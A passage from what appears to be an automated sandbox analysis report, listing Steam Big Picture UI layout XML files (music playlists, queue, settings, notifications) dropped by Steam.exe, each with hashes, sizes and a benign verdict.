SHA-256:	10FDAD75438C4253FBCF4C7481DCB5CB6C0806A7244A82BA3B8CE0B6E27B3179
SHA-512:	75CE92FF6F20F46C4FB06D3A4BD31A5F5A8073C0D5229B3FEA3BD05BB26B69726A06B397E80B3600D00CE40A83928AE5DF1497D589F98A04821FB6B8E8D1791E
Malicious:	false
Reputation:	unknown
Preview:	<root>...<styles>....<include src="file://{resources}/styles/steamstyles.css" />....<include src="file://{resources}/styles/mainmenu_librarybackground.css" />....<include src="file://{resources}/styles/music/music_library_setup.css" />...</styles>......<MusicLibrarySetupAdd class="Button"....onactivate="AddSetupEntry();"....onfocus="FocusSetupEntry();">......<Panel class="LabelColumn" >.....<Label id="UpperlineLabel" class="SingleLineLabel".text="#Music_Library_Setup_Add_Label"/>....</Panel>......<Button class="Button" id="ActionButton" hittest="false">.....<Panel id="ActionButtonImage" hittest="false" class="AddDirectory"/>....</Button>.......</MusicLibrarySetupAdd>.....</root>..

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\layout\music\music_library_setup_entry.xml_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	664
Entropy (8bit):	4.99199709451214
Encrypted:	false
SSDEEP:
MD5:	DEEE0D28B193E00E95C97DA7A4F2744D
SHA1:	F9941FA4F5E8BA48A07D85D631296534EEC95C73
SHA-256:	C8C0DD428B977A642CF3FE2F0CD0207178EE55E860491F949DBEAF24F5A847E3
SHA-512:	F31EBD0237A9CA44424FABAF44BD963000CB3F1CC55C425AEF2D7562E61893DF588B29ED299E5DE16A8CD83C61A41F52A3AC9D5FAD9A726E7C4DDD5EEFAE85C4
Malicious:	false
Reputation:	unknown
Preview:	<root>...<styles>....<include src="file://{resources}/styles/steamstyles.css" />....<include src="file://{resources}/styles/mainmenu_librarybackground.css" />....<include src="file://{resources}/styles/music/music_library_setup.css" />...</styles>......<MusicLibrarySetupEntry class="Button" ....onactivate="RemoveSetupEntry();"....onfocus="FocusSetupEntry();" >......<Panel class="LabelColumn" >.....<Label id="UpperlineLabel" class="SingleLineLabel" text="Upperline"/>....</Panel>......<Button class="Button" id="ActionButton" hittest="false">.....<Panel id="ActionButtonImage" class="RemoveDirectory"/>....</Button>.......</MusicLibrarySetupEntry>.....</root>..

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\layout\music\music_now_playing.xml_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	779
Entropy (8bit):	5.0671535322295185
Encrypted:	false
SSDEEP:
MD5:	D6EFAE56F3EF96471C680BF657D53A13
SHA1:	46958F8FEF0B5716DBD3A3537F58EE6FF7AB7949
SHA-256:	05BF09C028A534FFFBD698E048A29844361DD6B1C511FB27DDFA4D552525049A
SHA-512:	3EDF9172290D8FB091A085FFDD734D632D8F041816F1EFAABC4634193037747B0A7359D0FC273D048C7BE6F9A4AA8ABD3AC798FF893E8AE194E52F88379521BE
Malicious:	false
Reputation:	unknown
Preview:	<root>...<styles>....<include src="file://{resources}/styles/steamstyles.css" />....<include src="file://{resources}/styles/music/music.css" />....<include src="file://{resources}/styles/music/music_now_playing.css" />...</styles>.....<MusicNowPlayingPanel selectionpos="auto">....<Panel id="AlbumImageContainer">.....<Image id="AlbumImageA" class="AlbumImage" scaling="stretch-to-fit-preserve-aspect" />.....<Image id="AlbumImageB" class="AlbumImage" scaling="stretch-to-fit-preserve-aspect" />....</Panel>....<Panel id="NowPlayingLabels" >.....<Label text="#Music_Now_Playing_Title" />.....<Label id="NowPlayingTrackName" text="#Music_Now_Playing_Track_Name" />.....<Label id="NowPlayingArtist" text="#Music_Now_Playing_Artist" />....</Panel>...</MusicNowPlayingPanel>..</root>

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\layout\music\music_playlist.xml_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	3788
Entropy (8bit):	5.048605156915193
Encrypted:	false
SSDEEP:
MD5:	F87517B56D7FDBAA05B0AB6CCF0E9F5E
SHA1:	3DAA4EDEB040C5E059E475BE9E36D3187922FEBD
SHA-256:	2576D333A104D44F2C0B9F6BF438B6D0BD55A648537C960AFECEA3333B0D0CDB
SHA-512:	23CD05B5AA64DC782B201F0A7794528F82ECD44693F3D9357E8B9A45DFF02CB32AD39E0C554C94661BA6BD55ABD20380F53C566F082E391FE1310886990A3C23
Malicious:	false
Reputation:	unknown
Preview:	<root>...<styles>....<include src="file://{resources}/styles/steamstyles.css" />....<include src="file://{resources}/styles/mainmenu_librarybackground.css" />....<include src="file://{resources}/styles/button.css" />....<include src="file://{resources}/styles/music/music.css" />....<include src="file://{resources}/styles/music/music_album.css" />....<include src="file://{resources}/styles/music/music_playlist.css" />...</styles>......<MusicPlaylistPanel hittest="false" defaultfocus="TrackButtonContainer" >....<Image id="GridBackground" class="GridBackground" />........<Panel id="Body" class="Body">..........<Panel id="LeftColumn" class="LeftColumn" selectionpos="auto">......<Image id="AlbumImageA" class="AlbumImage" scaling="stretch-to-fit-preserve-aspect" />......<Image id="AlbumImageB" class="AlbumImage" scaling="stretch-to-fit-preserve-aspect" />......<Panel id="BigLabels">.......<Label id="AlbumCoverLowerLabel" text="" />.......<Label id="AlbumCoverUpperLabel" text="" />......</Pan

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\layout\music\music_playlist_add.xml_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1455
Entropy (8bit):	4.991087518200409
Encrypted:	false
SSDEEP:
MD5:	838E37B7046055AE64266A8E24663B13
SHA1:	63955AE8DC0390655A32A8D31A71BFD9F83FB898
SHA-256:	46B3D15EF6D8DA2FC45888DA19F904CBBFFF435CD9397AAB834F644005AC8D49
SHA-512:	B222D6C19B8C295517318793E6A00FE83F35457E496D4106969071716D1AB0C2A8FC3A74E0D4001491CDED98647DF310AA3ADB49D56B21806B0533FE50B49C7C
Malicious:	false
Reputation:	unknown
Preview:	<root>...<styles>....<include src="file://{resources}/styles/steamstyles.css" />....<include src="file://{resources}/styles/msgbox.css" />....<include src="file://{resources}/styles/music/music_playlist_add.css" />...</styles>......<MusicPlaylistAddDialog class="TenfootMsgBox" .....defaultfocus="Input" .....oncancel="ButtonCancel()" >....<Panel class="MsgBoxBodyRegion" tabindex="auto" selectionpos="auto">.... <Panel id="MsgBoxDescriptionArea" class="MsgBoxDescriptionArea">......<Label id="MsgBoxTitle" class="MsgBoxTitle" text="#MusicPlaylist_Add_Text" />.....</Panel>.....<Panel id="MsgBoxButtonArea" class="MsgBoxButtonArea">.....<Panel class="InputRow">......<TextEntry id="Input"...... .textinputid="InputFormTextEntry"........textinputclass="HalfWidth DockLeft AppearFromBottomCenter"........textinputhidesuggestions="1"........textinputdoneactionstring="#MusicPlaylist_Add_Accept"........textmode="normal"...... />.....</Panel>..........<Panel id="MsgBoxButtons" tabindex="auto" selecti

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\layout\music\music_playlist_more.xml_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2151
Entropy (8bit):	4.977339814338053
Encrypted:	false
SSDEEP:
MD5:	984721A60551BF189698434C0D71BA38
SHA1:	55E894E0F063AEE6817D7B9C42356E2F3DB9F2E3
SHA-256:	BD23ACC41A3FF0E30ACCA500A05FE087459A0766DD107318A34530939B4E8645
SHA-512:	E96B0E03302FA182B0CE342329BA09E500B0846DB5EC12BB032D0DF297279E594D0F936A54AEB660978EA29C3D956CEC7B406A46C77C5F22D79CB7026E683223
Malicious:	false
Reputation:	unknown
Preview:	<root>...<styles>....<include src="file://{resources}/styles/steamstyles.css" />....<include src="file://{resources}/styles/msgbox.css" />....<include src="file://{resources}/styles/music/music.css" />...</styles>......<MusicPlaylistMoreDialog class="TenfootMsgBox" .....oncancel="ButtonCancel()".....onmouseactivate="CloseModalDialog();" >....<Panel class="ContextMenuBodyCentered" tabindex="auto" selectionpos="auto">.....<Button class="Button" onactivate="PlayCurrentPlaylist(true, false);" >......<Label id="PlayPlaylistLabel" text="#MusicPlaylist_Play" />.....</Button>.....<Panel class="HorizontalRule" id="MoveHorizontalRule"/>.....<Button id="PlaylistMoveBeginButton" class="Button" onactivate="MovePlaylistBegin();" >......<Label id="PlaylistMoveBeginLabel" text="#MusicPlaylist_Move_Begin" />.....</Button>.....<Button id="PlaylistMoveUpButton" class="Button" onactivate="MovePlaylistTrackUp();" >......<Label id="PlaylistMoveUpLabel" text="#MusicPlaylist_Move_Up" />.....</Button>.....<But

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\layout\music\music_playlist_playlistitem.xml_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	534
Entropy (8bit):	4.904102018784737
Encrypted:	false
SSDEEP:
MD5:	F2701542F4B3C196EFBA75809A95182C
SHA1:	4C6A3117557E9060C2FE61553EB61A4C439E6016
SHA-256:	ABA4312ACD5C556E07DB5F22B4EB09C833B012285545E3066E2EFBEF618D523B
SHA-512:	12557FFDB7443A60DF83F7FF65F4B24BD969BEFCCDB4A85ABB4EB441E600F7E3FF8089D52E59C33145AC3133A76FF74242DCF44D3AAFE048A5F4B9E01A57ED38
Malicious:	false
Reputation:	unknown
Preview:	<root>...<styles>....<include src="file://{resources}/styles/steamstyles.css" />....<include src="file://{resources}/styles/button.css" />....<include src="file://{resources}/styles/music/music_playlist.css" />...</styles>......<PlaylistListItem class="TrackButton Button" onfocus="PlaylistListItemGotFocus();" onactivate="PlaylistItemDetailPlay();">....<Label id="TrackPosition" class="TrackPosition" text="{s:track_position}"/>....<Label id="TrackLabel" class="TrackLabel" text="{s:track_name}"/>...</PlaylistListItem>.....</root>..

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\layout\music\music_playlist_rename.xml_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1483
Entropy (8bit):	4.981476379818388
Encrypted:	false
SSDEEP:
MD5:	F25BF2809D44531650F548028328713D
SHA1:	DCBC20AE7D68153D3958A22B37F11065B6F74AD8
SHA-256:	5F78A164F6634C88B967121989153B12F2CDC984F4F199CCBD90546CC58D711B
SHA-512:	9688729A6AE231D7DEC68A3F088A0CB3B89B88FC928723C6DBE84082891CB3985581A660D5BADF8C6C02B78EFC69534BE0EE79D99B8E9DF174A8561D6059680E
Malicious:	false
Reputation:	unknown
Preview:	<root>...<styles>....<include src="file://{resources}/styles/steamstyles.css" />....<include src="file://{resources}/styles/msgbox.css" />....<include src="file://{resources}/styles/music/music_playlist_rename.css" />...</styles>......<MusicPlaylistRenameDialog class="TenfootMsgBox" .....defaultfocus="Input" .....oncancel="ButtonCancel()" >....<Panel class="MsgBoxBodyRegion" tabindex="auto" selectionpos="auto">.....<Panel id="MsgBoxHeader" class="MsgBoxDescriptionArea">......<Label id="MsgBoxTitle" class="MsgBoxTitle" text="#MusicPlaylist_Rename_Text" />.....</Panel>.....<Panel id="MsgBoxButtonArea" class="MsgBoxButtonArea">......<Panel class="InputRow">.......<TextEntry id="Input".........textinputid="InputFormTextEntry".........textinputclass="HalfWidth DockLeft AppearFromBottomCenter".........textinputhidesuggestions="1".........textinputdoneactionstring="#MusicPlaylist_Rename_Accept".........textmode="normal" />......</Panel>...........<Panel id="MsgBoxButtons" tabindex="auto" sele

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\layout\music\music_playlist_selection.xml_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	848
Entropy (8bit):	4.91311188842
Encrypted:	false
SSDEEP:
MD5:	EF0A14B936A132FFC386AAF9F9856B26
SHA1:	8BB4A58BE6AA15B36B56A6E3168999A72C63935D
SHA-256:	305422B8966A282473BD4AC85AD379924B52342FA27B71FF53E8BD37A485F7EF
SHA-512:	AD238466FA994B6257F92344BA5161B515EE350C8E0C84FDAC1AEC0AAC617EF3167795EEA75BD055FD1AAF15011D215E3121E28CECCB5FF7E909276C4C3DEA77
Malicious:	false
Reputation:	unknown
Preview:	<root>...<styles>....<include src="file://{resources}/styles/steamstyles.css" />....<include src="file://{resources}/styles/music/music.css" />....<include src="file://{resources}/styles/music/music_playlist_selection.css" />....<include src="file://{resources}/styles/msgbox.css" />...</styles>........<MusicPlaylistSelectionPanel class="TenfootMsgBox".....onmouseactivate="CloseModalDialog();" >....<Panel class="ContextMenuBodyCentered" tabindex="auto" selectionpos="auto">.........<Button id="CreateNewPlaylistButton" class="Button" onactivate="CreateNewPlaylistFromSelection();" >......<Label id="CreateNewPlaylistLabel" text="#MusicPlaylist_Select_NewPlaylist" />.....</Button>.....<Panel class="HorizontalRule" id="RenameHorizontalRule"/>.........<Panel id="PlaylistList"./>............</Panel>...</MusicPlaylistSelectionPanel>....</root>..

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\layout\music\music_playlist_selection_entry.xml_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	366
Entropy (8bit):	4.788646929486194
Encrypted:	false
SSDEEP:
MD5:	F892B6C2B21A430F1EABFCFD6F3487C6
SHA1:	C6CE11010D1868AC447947624E042CE981760A30
SHA-256:	749B33CF5D3B751049CFEBA98A888598C119D21653D712802ADAFEC0B3F6D806
SHA-512:	B6498B6F3823F66E5E9B6EBEA9FD0869276CE683AA16A1986CA153FB8F70B094FF4C6EB8DDE84606EAAA7A2B6051333531A136D6B278C52CBB67C7369EB94E2E
Malicious:	false
Reputation:	unknown
Preview:	<root>...<styles>....<include src="file://{resources}/styles/steamstyles.css" />....<include src="file://{resources}/styles/music/music_playlist_selection.css" />...</styles>......<MusicPlaylistSelectionEntry onactivate="AddSelectionToPlaylist();" >....<Label class="PlaylistName" id="PlaylistName" text="PlaylistName"/>...</MusicPlaylistSelectionEntry>....</root>..

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\layout\music\music_playlistitem_more.xml_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1487
Entropy (8bit):	4.961564035201201
Encrypted:	false
SSDEEP:
MD5:	E8BF03AD0DD6B1C30EA2D29C1D05290B
SHA1:	D6B43649F0565203C0B7EBB182FC8AAB6C6D274A
SHA-256:	1BD370F49F6C932ADD4E97E3AC98C565FCF2C173EC5D5C8D2DF4009012BAEE1A
SHA-512:	58A06AB70F1676118C1BCDE2B0D202F4950AF6CC5F47C83BBF1091093B334E4001D8B1D6F6BADEDD6F5AFB7E463457C8A55A532B44FC8CA717FCC6F2FAC59630
Malicious:	false
Reputation:	unknown
Preview:	<root>...<styles>....<include src="file://{resources}/styles/steamstyles.css" />....<include src="file://{resources}/styles/msgbox.css" />....<include src="file://{resources}/styles/music/music.css" />...</styles>......<MusicPlaylistItemMoreDialog class="TenfootMsgBox" .....oncancel="ButtonCancel()" .....onmouseactivate="CloseModalDialog();" >....<Panel class="ContextMenuBodyCentered" tabindex="auto" selectionpos="auto">.....<Button class="Button" onactivate="PlaySubsequentPlaylistItems( true, false);" >......<Label text="#MusicPlaylist_Play_PlaylistItem" />.....</Button>.....<Panel class="HorizontalRule" />.....<Button class="Button" onactivate="MovePlaylistItemBegin();" >......<Label text="#MusicPlaylistItem_Move_Begin" />.....</Button>.....<Button class="Button" onactivate="MovePlaylistItemUp();" >......<Label text="#MusicPlaylistItem_Move_Up" />.....</Button>.....<Button class="Button" onactivate="MovePlaylistItemDown();" >......<Label text="#MusicPlaylistItem_Move_Down" />.....</B

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\layout\music\music_queue.xml_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	593
Entropy (8bit):	4.9173050537343865
Encrypted:	false
SSDEEP:
MD5:	819D084039AC2C2D1ACD13CBBE1ABDD0
SHA1:	FFEDDE2E33CE6AA8CBE74987FE94028DCF76DA93
SHA-256:	D8E5BA86D96785F45955C36760A393E9D758296D7ACEF7479A7490E50F8DF98B
SHA-512:	F97CC4FF1357A35DCA8AFCDB3CF99AF067C96E6030CEC497B3AB1AE92C03BE0177B70BEF873EB09B62DA109C57FDC9A6D6B18BE4ACAB2FBBFBBBDDB70200A2B3
Malicious:	false
Reputation:	unknown
Preview:	<root>...<styles>....<include src="file://{resources}/styles/steamstyles.css" />....<include src="file://{resources}/styles/music/music.css" />....<include src="file://{resources}/styles/music/music_queue.css" />....<include src="file://{resources}/styles/msgbox.css" />...</styles>........<MusicQueuePanel onmouseactivate="CloseModalDialog();" >....<Panel class="MusicFullQueuePanel" tabindex="auto" selectionpos="auto">.....<Panel id="MusicQueueEntriesList" overscroll-y="100" />.....<Label id="MusicQueueInfoLabel" text="#Music_Queue_X_Of_Y" />....</Panel>...</MusicQueuePanel>....</root>..

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\layout\music\music_queue_list_entry.xml_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	399
Entropy (8bit):	4.90167827406471
Encrypted:	false
SSDEEP:
MD5:	FBDEA290BCB4D70308410FBA5C3E6863
SHA1:	C38AAEE223CED0D9FE866B38EBDA9A3CA181B4F9
SHA-256:	01E63434148110796C6E52BB542E346C89C304A4533995B700601C20A2C72019
SHA-512:	6AD78ED28DA37B46BA8DD59532871B2B7321CDB24CF106A7DB718CF66DD8172DF8B69D4D2F5D5D982712D69F35AC19B6C7EAB08F5BD1A00505402A5C6E71DE76
Malicious:	false
Reputation:	unknown
Preview:	<root>...<styles>....<include src="file://{resources}/styles/steamstyles.css" />....<include src="file://{resources}/styles/music/music_queue.css" />...</styles>......<MusicQueueListEntry onactivate="QueueListEntrySelect();" >....<Label class="TrackCompositeTitle" id="TrackCompositeTitle" text="Title"/>....<Label class="TrackTime" id="TrackTime" text="0:00"/>...</MusicQueueListEntry>....</root>..

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\layout\music\music_queue_more.xml_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1161
Entropy (8bit):	5.018705946945853
Encrypted:	false
SSDEEP:
MD5:	0A1B07D63FAFBE1C9A64CD86891727DC
SHA1:	25B63E7704182089855D289C166FA733754B035C
SHA-256:	A8A9B93F9FA0159413F3B680FFC6B644735A0F5835697C1374846D1B4F6878C4
SHA-512:	86F1E5C2D3E47CD9095339B3C9464A0D27ED00B6AD2692602B899890C4FA6CCC6AB2CD140ACBA622EEE83BB3401D934B71BCFA566C6C60D5FB17CD254372AA93
Malicious:	false
Reputation:	unknown
Preview:	<root>...<styles>....<include src="file://{resources}/styles/steamstyles.css" />....<include src="file://{resources}/styles/msgbox.css" />....<include src="file://{resources}/styles/music/music.css" />...</styles>......<MusicQueueMoreDialog class="TenfootMsgBox" .....oncancel="ButtonCancel()" .....onmouseactivate="CloseModalDialog();" >.......<Panel class="ContextMenuBodyCentered" tabindex="auto" selectionpos="auto">.....<Button class="Button" onactivate="MusicControlMore();" >......<Label text="#Music_Queue_Browse_Music" />.....</Button>.....<Panel class="HorizontalRule"/>.....<Button id="RemoveCurrentTrackButton" class="Button" onactivate="RemoveCurrentTrack();" >......<Label text="#Music_Queue_Remove_Track_From_Queue" />.....</Button>.....<Panel id="ShowRulerWhenShowCurrent" class="HorizontalRule"/>.....<Button class="Button" onactivate="EmptyQueue();">......<Label text="#Music_Queue_Clear_Queue" />.....</Button>.....<Panel class="HorizontalRule"/>.....<Button class="Button" onactiv

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\layout\music\music_settings.xml_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	3677
Entropy (8bit):	5.054810339206149
Encrypted:	false
SSDEEP:
MD5:	E87EAE72207057CA54C8AED71746D49D
SHA1:	EF46357FF7C9F0CFCC7C144BAA94412AE86F4B88
SHA-256:	D9F29DC22683B09DA9E15C6658A8F0931E1AE2CA5D9A560FC7AEE194E49626FD
SHA-512:	C8F223826D3715D1184DB71B860152421FA34EDF7271968C790FBA07FBF72674CFFF0282B54DC0009E02A227F2695A0DC7095E253B83A7FE8FDBB684D78E735F
Malicious:	false
Reputation:	unknown
Preview:	<root>...<styles>....<include src="file://{resources}/styles/steamstyles.css" />......<include src="file://{resources}/styles/settings.css" />....<include src="file://{resources}/styles/music/music_settings.css" />...</styles>......<MusicSettingsPanel class="SettingsSection" tabindex="auto" selectionpos="auto" defaultfocus="CrawlAtStartupCheckbox">....<Panel class="SettingsBottomPanel">.......<Panel class="SettingsContent FlowRight">.. <Panel class="SettingsLeftContent">...... <Label class="SettingsStatic" text="#Music_Settings_Database_Header" />........ <ToggleButton class="CheckBox" id="CrawlAtStartupCheckbox" onactivate="ToggleCrawlAtStartup();" text="#Music_Settings_Crawl_At_Startup"/>.......... <ToggleButton class="CheckBox" id="CrawlSteamInstallFoldersCheckbox" onactivate="ToggleCrawlSteamInstallFolders();" text="#Music_Settings_CrawlSteamInstallFolders"/>.......................... <Label id="DatabaseInfoLabel" class="SettingsStatic" text="#Music_Settings_X_Albums_Wit

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\layout\music\music_track_more.xml_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	982
Entropy (8bit):	5.083274060198711
Encrypted:	false
SSDEEP:
MD5:	D73E41E34FA38F387B3390D3091AF7B6
SHA1:	F2E809770FCAEFFCAF5259BFF9E425A3A93C4A94
SHA-256:	03B40D0623AA69AFC4A022C08B5BE506BD6FA5A0201BE406F7043B1B7E7C1DC6
SHA-512:	6E8F3FC9F8CF2BB8FE96EDA2FBF93A18BB3FA2186A8DF3BB2D8099757CD34879B255897EB8F866EA6164B088D896D327F4D296FDD1B234C53ABF31D03B5D0567
Malicious:	false
Reputation:	unknown
Preview:	<root>...<styles>....<include src="file://{resources}/styles/steamstyles.css" />....<include src="file://{resources}/styles/msgbox.css" />....<include src="file://{resources}/styles/music/music.css" />...</styles>......<MusicTrackMoreDialog class="TenfootMsgBox" .....oncancel="ButtonCancel()" .....onmouseactivate="CloseModalDialog();" >....<Panel class="ContextMenuBodyCentered" tabindex="auto" selectionpos="auto">.....<Button class="Button" onactivate="PlaySubsequentTracks( true, false);" >......<Label text="#MusicAlbum_Play" />.....</Button>.....<Button id="TrackAddToPlaylistButton" class="Button" onactivate="AddTrackToPlaylist();" >......<Label id="AddToPlaylistLabel" text="#MusicAlbum_Add_To_Playlist" />.....</Button>.....<Panel class="HorizontalRule" id="AlbumSeparator"/>.....<Button id="ViewEntireAlbum" class="Button" onactivate="ViewEntireAlbum();">......<Label text="#MusicAlbum_Show_Entire_Album" />.....</Button>....</Panel>...</MusicTrackMoreDialog>..</root>..

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\layout\music\notification_musicgeneric.xml_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	562
Entropy (8bit):	4.8324663063258875
Encrypted:	false
SSDEEP:
MD5:	1FC7193E9C3A0130E4A1BA07ABF554AD
SHA1:	84D7A7CE23B646D3B214653AB2A08A77EB676707
SHA-256:	0C919A9E5EF3150CFD30106BA15CC562DBCBE4F6388E341D91EE61CB4041F64F
SHA-512:	A27B081059ACA9D30114174257E801AA0052074CEA6DC8293E7BEA8A2B4FC525298ED28CB5189A470E68C6D349AB1269E6B7B6AC55FD1C47C41EFCA5735853D9
Malicious:	false
Reputation:	unknown
Preview:	<root>...<styles>....<include src="file://{resources}/styles/steamstyles.css" />....<include src="file://{resources}/styles/notifications.css" />...</styles>.....<Panel class="NotificationRoot">....<Panel class="NotificationFrame" />....<Image id="MessageImage" class="AchievementImage" scaling="stretch-to-cover-preserve-aspect"/>....<Label id="MessageTitle" class="ThreeLineNotificationTitle"/>....<Label id="MessageLine1" class="ThreeLineNotificationMessageLine1"/>....<Label id="MessageLine2" class="ThreeLineNotificationMessageLine2"/>...</Panel>..</root>..

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\layout\networklogin.xml_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	HTML document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	725
Entropy (8bit):	5.065349610365914
Encrypted:	false
SSDEEP:
MD5:	D004F4D24BB3EF4CE603799D5B7DFA4A
SHA1:	C42D77511A8267CB96DCC3795BC5E225E2B909AE
SHA-256:	7C1435BD3C79764EAD835095BA682EFCABA549804EBE6BEEDC5AFC6E8636F340
SHA-512:	D6239F775F44335A7C3027723FF8B19C8579D287D4D963F47CDD52BBA9FC0496652A71B3073EB3408FBF4C6C5CC8163CF61265D0260EB0571CE9765F31A09789
Malicious:	false
Reputation:	unknown
Preview:	<root>...<styles>....<include src="file://{resources}/styles/steamstyles.css" />....<include src="file://{resources}/styles/msgbox.css" />....<include src="file://{resources}/styles/networklogin.css" />...</styles>.....<NetworkLoginBrowserHelper defaultfocus="HTML" tabindex="auto" selectionpos="auto">....<Panel id="NetworkBoxBodyRegion" class="NetworkBoxBodyRegion">.....<Panel id="MsgBoxHeader" class="MsgBoxHeader">......<Label id="MsgBoxTitle" class="MsgBoxTitle" text="#SteamUI_NetworkLoginNeeded_Title" />.....</Panel>.....<HTML id="HTML" />......</Panel>....<Image class="ReticuleHidden Reticule" id="ReticuleMiddle" src="file://{images}/browser/ReticuleLoading_00039.png" />...</NetworkLoginBrowserHelper>..</root>..

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\layout\notification_controlleractivated.xml_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	617
Entropy (8bit):	4.868314150046231
Encrypted:	false
SSDEEP:
MD5:	ADBA731EF184EB9049D837BD9B888889
SHA1:	124CB7861F8DEE6E5035397E5EAB0B572293AE23
SHA-256:	DFDB76F901F0CC35BF58039E783953D6E519F3C775F424382B3008DD403323FA
SHA-512:	723DC6FEF5174C86DC29D05E983A3C8D7938F4896BAB9C1157DBFD55A1CAB0C1F005DB13D0A665A0A6BE192CF7846DEA5DA41B3F3F9B5ED41C78E26AF5EA935D
Malicious:	false
Reputation:	unknown
Preview:	<root>...<styles>....<include src="file://{resources}/styles/steamstyles.css" />....<include src="file://{resources}/styles/notifications.css" />...</styles>.....<Panel class="NotificationRoot ControllerActivatedNotification">....<Panel class="NotificationFrameConnected" />....<Panel id="ControllerImage" />....<Label class="NotificationTwoLabelBodyLineOne" text="#Notification_Controller_Title" />....<Label class="NotificationTwoLabelBodyLineTwo NonGuest" text="#Notification_Controller_Text" />....<Label class="NotificationTwoLabelBodyLineTwo Guest" text="#Notification_Controller_Guest" />...</Panel>..</root>..

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\layout\notification_lowbattery.xml_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	445
Entropy (8bit):	4.874307647115449
Encrypted:	false
SSDEEP:
MD5:	861904BEC7A394AF4B166643C83334BF
SHA1:	9DBA8EF61253D811E699587FF4A59F77FBED090C
SHA-256:	10D7BAB846DBCBB5E83C09190B528B9356FA584926FD4DBFFB05BF5E493D7AAF
SHA-512:	F57048F0E6555C6067082E134CBE54544C8215CAE2DD6641EB568663C7CCAAAEA4AD9526C87E90582A5E3E541FD120ED1325E062399D5961BF7711235B9B829F
Malicious:	false
Reputation:	unknown
Preview:	<root>...<styles>....<include src="file://{resources}/styles/steamstyles.css" />....<include src="file://{resources}/styles/notifications.css" />...</styles>.....<Panel class="NotificationRoot">....<Panel class="NotificationFrame" />....<Image class="SteamCog" src="file://{images}/overlay/notification_steamcog.png"/>....<Label id="NotificationTextLabel" class="NotificationOneLabelBody" text="#Notification_LowBattery" />...</Panel>..</root>..

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\layout\notification_networkstate.xml_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	453
Entropy (8bit):	4.896304764651038
Encrypted:	false
SSDEEP:
MD5:	2EF7BF6DCF3B2E08032FD8D0644A4D26
SHA1:	5FD221E655B8031008ED694D448F151538084A5F
SHA-256:	EC24892D64807B880289B800DA0FDE32C3F5F0C6F5B05DC48766E8E5133E51BD
SHA-512:	6FE3AAC2FAE4484C87D87FEBB41F7FC606AA16B3663B35C64A1A2E5093B0DA29F837564653868465629D1BE561C38CF7A6EB1400347930BC6C4427E4C882D790
Malicious:	false
Reputation:	unknown
Preview:	<root>...<styles>....<include src="file://{resources}/styles/steamstyles.css" />....<include src="file://{resources}/styles/notifications.css" />...</styles>.....<Panel class="NotificationRoot">....<Panel class="NotificationFrame" />....<Image class="SteamCog" src="file://{images}/overlay/notification_steamcog.png"/>....<Label id="NotificationTextLabel" class="NotificationOneLabelBody" text="#Notification_NetworkStateChange" />...</Panel>..</root>..

